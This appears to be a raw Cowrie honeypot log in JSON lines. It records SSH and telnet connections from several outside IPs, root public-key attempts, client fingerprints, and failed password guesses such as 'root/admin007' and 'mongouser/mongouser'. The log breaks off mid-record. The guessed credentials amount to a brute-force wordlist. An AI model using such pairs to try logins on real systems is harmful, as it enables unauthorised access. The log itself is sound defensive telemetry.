{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ba:c1:15:67:fa:65:ce:b7:99:ed:14:bb:64:01:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA9azunhMpfLvfJYgLQDV7oqG58W8FIgGvpWVEsvhF+TDhdbY4WxnPv0WcqoJu1r+3AxzLHJagSFGxCy9vUrVtvn7eXpTNLVKpS5JLICY5oCx5E481+tVvJwNxYkYXLbpSwEyeXCL59Xurssmw9h8/X9rDBIGHF2OXOEoFHiHWRu9M4yRGExd8Q/imrGOGVHDSB8D8UoElIx0jtDWofigm4rUj5Bh/rHM/lMcuUpVMISAuozUHPpb9eM8lcScBMMOTE6vC3lV6yU3jJ28u84lLUzoa04uPNBpwTIeUrWHtG5RJtZYLSEh3FWnxflTHsqg9Mm0dbAMcfR466u0coPty7BttjUfkfU403eo/yCuMs9FzzAITFd41C+uswVDriorXROymgdzFBCC+KPrkGK4vrZ9aQMGQde+xK9Ma+7J1cxZGTa2FwcC/eViv+3QJ32vHM3r8/5l3jxsGX+LWkjjNSgHdNepoRtF3/Fvi9Afwi9TrbOIo0UhELeTeKlSXJAkt5feHZvPxtZjPGwTgxbPdToy02hCaTDO9Gj3rxTi95qh2gHE9BhdygkkAT0NMKJI+eZV0X3roZbHNPUQvXhr7QfQgZrvcAmF5jR3Cy45zIPiz10nPyc1FBlsmBIAVBw/1yVL4ZULvOxTvxYyYd5OlwbqXuILPQPHMT7o+2lFTgis=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ba:c1:15:67:fa:65:ce:b7:99:ed:14:bb:64:01:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.051677Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ba:c1:15:67:fa:65:ce:b7:99:ed:14:bb:64:01:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA9azunhMpfLvfJYgLQDV7oqG58W8FIgGvpWVEsvhF+TDhdbY4WxnPv0WcqoJu1r+3AxzLHJagSFGxCy9vUrVtvn7eXpTNLVKpS5JLICY5oCx5E481+tVvJwNxYkYXLbpSwEyeXCL59Xurssmw9h8/X9rDBIGHF2OXOEoFHiHWRu9M4yRGExd8Q/imrGOGVHDSB8D8UoElIx0jtDWofigm4rUj5Bh/rHM/lMcuUpVMISAuozUHPpb9eM8lcScBMMOTE6vC3lV6yU3jJ28u84lLUzoa04uPNBpwTIeUrWHtG5RJtZYLSEh3FWnxflTHsqg9Mm0dbAMcfR466u0coPty7BttjUfkfU403eo/yCuMs9FzzAITFd41C+uswVDriorXROymgdzFBCC+KPrkGK4vrZ9aQMGQde+xK9Ma+7J1cxZGTa2FwcC/eViv+3QJ32vHM3r8/5l3jxsGX+LWkjjNSgHdNepoRtF3/Fvi9Afwi9TrbOIo0UhELeTeKlSXJAkt5feHZvPxtZjPGwTgxbPdToy02hCaTDO9Gj3rxTi95qh2gHE9BhdygkkAT0NMKJI+eZV0X3roZbHNPUQvXhr7QfQgZrvcAmF5jR3Cy45zIPiz10nPyc1FBlsmBIAVBw/1yVL4ZULvOxTvxYyYd5OlwbqXuILPQPHMT7o+2lFTgis=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.055940Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:45:4f:f2:bb:d5:30:0a:1b:aa:b3:a2:9b:4b:06:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCygRvTELYQ0MhMmByP9ZhFaPjpz1LbnUAdfDbDNSDoZmNTgt1YKwTr6ThyPoQx25Yq/RJvkkVaFlQ+TFewNIHh5b1nbI6Sr5+JcGTu4k02UaxvqLurERPZKS8Y9ILZ6Qgk9uORoy38EU0Jgq0sz/Fo/pMEQYplIQSl9IzveJO/ARt1WrIrWAsnbofUR19CIlwBEfHmScy+LtSIZviueJppxLyKbRtAHk8mzrPTapPUqJQ22OX6WmS/BA/0jkc5QLX4jUiB6PkA8ClrlMAC16H+yXd/laQ/I0w8ROef/rxbF9WughhvXfvtMACiRvBkjyoTJLJBnEgcNU8N5FSXfsyX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:45:4f:f2:bb:d5:30:0a:1b:aa:b3:a2:9b:4b:06:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.089111Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:45:4f:f2:bb:d5:30:0a:1b:aa:b3:a2:9b:4b:06:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCygRvTELYQ0MhMmByP9ZhFaPjpz1LbnUAdfDbDNSDoZmNTgt1YKwTr6ThyPoQx25Yq/RJvkkVaFlQ+TFewNIHh5b1nbI6Sr5+JcGTu4k02UaxvqLurERPZKS8Y9ILZ6Qgk9uORoy38EU0Jgq0sz/Fo/pMEQYplIQSl9IzveJO/ARt1WrIrWAsnbofUR19CIlwBEfHmScy+LtSIZviueJppxLyKbRtAHk8mzrPTapPUqJQ22OX6WmS/BA/0jkc5QLX4jUiB6PkA8ClrlMAC16H+yXd/laQ/I0w8ROef/rxbF9WughhvXfvtMACiRvBkjyoTJLJBnEgcNU8N5FSXfsyX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.093033Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:64:58:63:03:95:8e:7d:f6:c2:d9:dd:03:83:47:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8jm18RuNCW5xS31Vy5/AkhffwfiJy1P7Py/8+y/DH4lWTB2abwVDFUyqpbYGhd6KadmjnGCSYxpqSeB900xtUsxnTQB+LmSqlocmzXRAKfvFx0NuyZowmEsbRMSDzLtIl14vq2JPInqkKbSBOdknX9I5okhz4DH29zVOOeJYFTLlAXuVFH7ntDEdCv1MvR4BgFv31RvA8T2iukWRoyZ4X5atD8opXHjLNCEgwMmv4FHZim3WVQcER1a7ZMJjGmXwwRqiCntOrkLpzF/oHnCsWopwdr5TdOo0FlvObipBN4qII3FuF0LckCXSJREmb2XN1ah/gmJIkbx73R9/Ec/tGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:64:58:63:03:95:8e:7d:f6:c2:d9:dd:03:83:47:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.125070Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:64:58:63:03:95:8e:7d:f6:c2:d9:dd:03:83:47:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8jm18RuNCW5xS31Vy5/AkhffwfiJy1P7Py/8+y/DH4lWTB2abwVDFUyqpbYGhd6KadmjnGCSYxpqSeB900xtUsxnTQB+LmSqlocmzXRAKfvFx0NuyZowmEsbRMSDzLtIl14vq2JPInqkKbSBOdknX9I5okhz4DH29zVOOeJYFTLlAXuVFH7ntDEdCv1MvR4BgFv31RvA8T2iukWRoyZ4X5atD8opXHjLNCEgwMmv4FHZim3WVQcER1a7ZMJjGmXwwRqiCntOrkLpzF/oHnCsWopwdr5TdOo0FlvObipBN4qII3FuF0LckCXSJREmb2XN1ah/gmJIkbx73R9/Ec/tGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.128598Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:2b:00:4e:0c:f7:ac:b0:31:06:63:f1:da:f2:a7:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF11NdykiBvNO8RaEjDsBHR5LE53gfsmPCVnEi1awgCF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e6:2b:00:4e:0c:f7:ac:b0:31:06:63:f1:da:f2:a7:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.160159Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:2b:00:4e:0c:f7:ac:b0:31:06:63:f1:da:f2:a7:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF11NdykiBvNO8RaEjDsBHR5LE53gfsmPCVnEi1awgCF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.163922Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.197664Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":44982,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59fd64c4d4b","protocol":"ssh","message":"New connection: 152.53.22.186:44982 (159.203.135.109:22) [session: d59fd64c4d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:49.012341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:49.017058Z","src_ip":"152.53.22.186","session":"d59fd64c4d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:49.107879Z","src_ip":"152.53.22.186","session":"d59fd64c4d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz!QAZ","message":"login attempt [test/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:49.499997Z","src_ip":"152.53.22.186","session":"d59fd64c4d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:50.597966Z","src_ip":"152.53.22.186","session":"d59fd64c4d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":51086,"dst_ip":"159.203.135.109","dst_port":22,"session":"246480f78dc5","protocol":"ssh","message":"New connection: 152.53.22.186:51086 (159.203.135.109:22) [session: 246480f78dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:08:37.012365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:08:37.017472Z","src_ip":"152.53.22.186","session":"246480f78dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:08:37.103572Z","src_ip":"152.53.22.186","session":"246480f78dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"computer","message":"login attempt [ubuntu/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:08:37.478066Z","src_ip":"152.53.22.186","session":"246480f78dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:08:38.567703Z","src_ip":"152.53.22.186","session":"246480f78dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":58896,"dst_ip":"159.203.135.109","dst_port":22,"session":"2466fff116ef","protocol":"ssh","message":"New connection: 152.53.22.186:58896 (159.203.135.109:22) [session: 2466fff116ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:09:24.287577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:09:24.292959Z","src_ip":"152.53.22.186","session":"2466fff116ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:09:24.374506Z","src_ip":"152.53.22.186","session":"2466fff116ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongouser","password":"mongouser","message":"login attempt [mongouser/mongouser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:09:24.735047Z","src_ip":"152.53.22.186","session":"2466fff116ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:09:25.820335Z","src_ip":"152.53.22.186","session":"2466fff116ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":48564,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ceaf5704510","protocol":"telnet","message":"New connection: 212.55.149.117:48564 (10.17.0.5:23) [session: 6ceaf5704510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:09:49.058003Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":48588,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d4ba6867ec","protocol":"ssh","message":"New connection: 152.53.22.186:48588 (159.203.135.109:22) [session: 29d4ba6867ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:11.815537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:11.825091Z","src_ip":"152.53.22.186","session":"29d4ba6867ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:11.918770Z","src_ip":"152.53.22.186","session":"29d4ba6867ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin007","message":"login attempt [root/admin007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:12.321148Z","src_ip":"152.53.22.186","session":"29d4ba6867ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:13.415962Z","src_ip":"152.53.22.186","session":"29d4ba6867ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.184.122","src_port":49248,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b53cea9913","protocol":"ssh","message":"New connection: 91.208.184.122:49248 (10.17.0.5:22) [session: 15b53cea9913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:17.850104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:17.856637Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:18.014500Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:06:d0:d3:21:8d:b5:70:4c:08:72:7c:98:0a:3f:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDF5PJ8T5eU2pmwUR1F3cQTmIEl5+on4/O5dZxoOTc3m3fayB6ZAFnIlNmz6uGtfb50Zezmuguv2zjBHjdxtING4iVr0JGklsfaUTEXYH8sF5yPeSqGDhhtyedaoSWAAYS3kMTPqCatmCep2wQOhmeuJFQuCLCSqvDBCD1x3C4fuhGu64vvavnUb2q3CR+tu4+xDGvaPyxDZ7zppQjDFBtE9JsrihJhN0dwCdERe9ZV9cjlEC0Hj+5WnkleIGXD7a3zbiC2TYLMpHgWFUwSkabgjWrGWiyYdssoxUvQ1pgdnI5XaPz8xdQOujWglgsWoSbc6XLdjwQrRSDep9/HgB2j/bfQnZwt4Preeq4nJowxtRi9cG6teYoyF1/2A1MQWqW+ATW7zrj+I/W4O/KjkJqvhIKWiU22UIL68NbTQ5flK71PF5FkKUUmzgLdzf0NWcRXjeHxxeERY5BqJUEfl7f18iy17o4222nnyhMIQWDZeksCBkTgtEXWVQsFglLiJbbLoideOIj65Z6Bkau2Bl/xR1bIS7ZXYyyeE++zj4+IuFyThC8YzPgOHQOwId13iMai7A8lXS/xpmxTOeqVsGJwwni8pcanEXP4X9qqFWOVanP2BoluRvbJF/5m7Oy7Mb4X9hsBAdVWsP6wOUQTGIsJUk5Nag4Z8RMGebcUQkuQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 